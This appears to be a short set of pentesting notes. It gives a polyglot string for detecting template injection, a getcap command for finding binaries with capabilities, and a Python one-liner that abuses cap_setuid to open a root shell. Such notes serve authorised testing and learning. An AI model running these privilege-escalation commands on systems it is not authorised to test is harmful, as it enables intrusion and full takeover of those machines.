Posts tagged: #Pentesting

The following string can be used to test a large number of templating engines in one go:

$ { { < % [ % ' " } } % \ .

[!IMPORTANT] Remove the spaces between each character! I’ve included them here because it messes up rendering in some places!

getcap is a program to get capabilities of others. The one which is a way in is cap_setuid

getcap -r / 2>/dev/null

If anything’s listed which lets you script, you can use that to get a shell. Here’s a Python example:

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'